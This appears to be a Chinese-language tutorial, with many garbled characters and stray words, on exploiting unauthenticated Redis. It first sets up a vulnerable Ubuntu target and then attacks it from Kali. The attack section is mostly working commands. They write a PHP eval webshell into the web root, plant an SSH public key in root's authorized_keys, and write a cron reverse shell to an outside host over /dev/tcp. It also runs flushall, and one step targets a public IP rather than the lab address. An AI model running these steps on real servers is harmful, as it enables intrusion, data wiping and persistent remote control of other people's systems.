一. 应用介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached相似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操做,并且这些操做都是原子性的。在此基础上, redis支持各类不一样方式的排序。与 memcached 同样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操做写入追加的记录文件,而且在此基础上实现了 master-slave ( 主从)同步。php
二. 漏洞介绍
Redis因配置不当能够致使未受权访问,被攻击者恶意利用。当前流行的针对Redis未受权访问的一种新型攻击方式,在特定条件下,若是Redis以root身份运行,黑客能够给root帐户写入SSH公钥文件,直接经过SSH登陆受害服务器,可致使服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,而且没有开启认证(这是Redis 的默认配置),以及该端口能够经过公网直接访问,若是没有采用相关的策略,好比添加防火墙规则避免其余非信任来源 ip 访问等,将会致使 Redis 服务直接暴露在公网上,可能形成其余用户能够直接在非受权状况下直接访问Redis服务并进行相关操做。目前比较主流的案例:yam2 minerd 挖矿程序,还有在屡次应急事件中发现大量的watch-smartd挖矿木马。html
三. 测试环境说明
测试对象环境 | 对应IP |
---|---|
受害者(ubuntu 16.04) | 192.168.5.135 |
攻击者(kali) | 192.168.5.125 |
Redis因配置不当能够未受权访问,攻击者无需认证访问到内部数据,可致使敏感信息泄露 漏洞利用:核心就是进行写文件操做 能够获取敏感信息,操做数据库,SSH远程登陆,写入webshell 建议用centoslinux
四 .环境搭建
ubuntu16.04 安装redisweb
sudo apt-get update sudo apt-get install redis-server  查看redis是否启动,启动redis客户端,此时已经启动了, ```markup redis-cli
启动redisredis
redis-server
若是是用apt-get或者yum install安装的redis,能够直接经过下面的命令中止/启动/重启redisshell
/etc/init.d/redis-server stop /etc/init.d/redis-server start /etc/init.d/redis-server restart
若是是经过源码安装的redis,则能够经过redis的客户端程序redis-cli的shutdown命令来重启redis数据库
1.redis关闭ubuntu
redis-cli -h 127.0.0.1 -p 6379 shutdown
2.redis启动vim
redis-server
若是上述方式都没有成功中止redis,则可使用终极武器 kill -9centos
修改配置文件redis.conf
vim /etc/redis/redis.conf
正常配置时,须要将daemoize 设置为yes(守护进程)
区别 yes:当redis.conf中选项daemonize设置成yes时,表明开启守护进程模式。在该模式下,redis会在后台运行,并将进程pid号写入至redis.conf选项pidfile设置的文件中,此时redis将一直运行,除非手动kill该进程。 no:当前界面将进入redis的命令行界面,exit强制退出或者关闭链接工具(putty,xshell等)都会致使redis进程退出。
redis在开放往外网的状况下(默认配置是bind 127.0.0.1,只容许本地访问,若是配置了其余网卡地址那么就能够网络访问),默认配置下是空口令,端口为6379。这里须要将它注释掉。 版本较高的redis 还须要将 protected-mode设为no
redis3.2版本后新增protected-mode配置,默认是yes,即开启。设置外部网络链接redis服务,设置方式以下: 一、关闭protected-mode模式,此时外部网络能够直接访问 二、开启protected-mode保护模式,需配置bind ip或者设置访问密码 此时咱们的靶机环境已经搭建完毕,测试(默认无密码)
五 .攻击利用
Redis默认使用6379端口,使用nmap对服务器进行扫描
Nmap -A -p 6379 –script redis-info 192.168.5.135
kali安装redis 下载
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解压
tar xzf redis-5.0.7.tar.gz
会在当前目录下生成文件夹 redis-5.0.4
cd redis-5.0.7 make
编译完成,进入下级目录src,启动redis客户端 远程链接靶机(默认无密码)
cd /src ./redis-cli -h 192.168.5.135
!!!此时已经未受权访问到靶机的redis 经过 info 查看信息
redis数据库的一些基本操做
info #查看redis的信息和服务器信息 flushall 删除全部数据 del key 删除键为key的数据 get key 得到参数key的数据
写入一句话木马 写入一句话木马须要咱们知道网站的根目录相对于服务器的绝对路径。靶机在 /var/www/html/dedecms/uploads 这个目录下。 执行下列命令
redis-cli -h 192.168.5.135 set one "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" config set dir /var/www/html/dedecms/uploads config set dbfilename webshell.php save
因为个人靶机上没网站,因此这里就贴个别人的图片记录一下 而后用菜刀链接
能够看到,已经链接成功了!
1.写入ssh公钥,获取操做系统权限 将hacker的公钥 追加 写入 redis服务器的 /root/.ssh 文件夹下的authotrized_keys文件中,即hacker主机 直接登陆 该服务器。 "公钥登陆" 原理很简单,就是用户将本身的公钥储存在远程主机上。 登陆的时候,远程主机会向用户发送一段随机字符串,用户用本身的私钥加密后,再发回来。远程主机用事先储存的公钥进行解密,若是成功,就证实用户是可信的,直接容许登陆shell,再也不要求密码。 这种方法要求用户必须提供本身的公钥。若是没有现成的,能够直接用ssh-keygen生成一个: 首先在本身的电脑上生成key:
ssk-keygen
将公钥导入key.txt文件(先后用\n换行,避免和Redis里其余缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
config set dir /root/.ssh/
这里设置目录时,可能存在(error) ERR Changing directory: No such file or directory 这是由于root历来没有登陆过,在被攻击机执行ssh localhost 便可 (error) ERR Changing directory: Permission denied 说明redis并非以root启动的
总结
利用redis-cli 链接 该服务器 redis-cli -h 173.239.46.188 # 删除全部数据库以及key!!((保证写入的数据不掺杂其余数据)慎用 !! flushall # 把公钥文件gy (经过redis自身方法) 写入 服务器的内存 返回OK cat gy.txt | redis-cli -h 173.239.46.188 -x set crackit # 利用redis查看当前目录 192.168.5.135> config get dir 1) "dir" 2) "/var/spool/cron" # 进入目录 设置保存路径 /Users/用户名/.ssh 可能OK 也可能非root用户权限不足(error) ERR Changing directory: Permission denied 192.168.5.135:6379> config set dir /root/.ssh/ # 设置数据库名 192.168.5.135:6379> config set dbfilename "authorized_keys" OK # 保存数据库的内容到/root/.ssh/authorized_keys 会覆盖以前的!! 会致使以前设置的全部ssh免登陆失效!!! 192.168.5.135:6379> save OK #------------------------------------------------- # 经过本身本机的私钥登录服务器 ssh -i id_rsa root@192.168.5.135
2.centos定时反弹shell,(ubuntu可能不行) 咱们能够将 linux 反弹 shell 的命令写入定时任务中,这样,咱们就能够接收到redis服务器反弹过来的shell了
redis-cli -h 192.168.1.8 set test "\n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1\n" #意思是每隔一分钟,向192.168.1.4的4444端口反弹shell config set dir /var/spool/cron #设置工做目录 (error) ERR Changing directory: Permission denied 查看/var/spool/cron 目录权限为700,且为root建立 即便该普通用户具备sudo权限也不行 config set dbfilename "root" #设置文件名,当前用户叫啥就得命名为啥,当前用户为root save #上面这几行命令的意思就是将 "\n\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\n\n" 这条命令写入test文件中,而且存放在/var/spool/cron目录下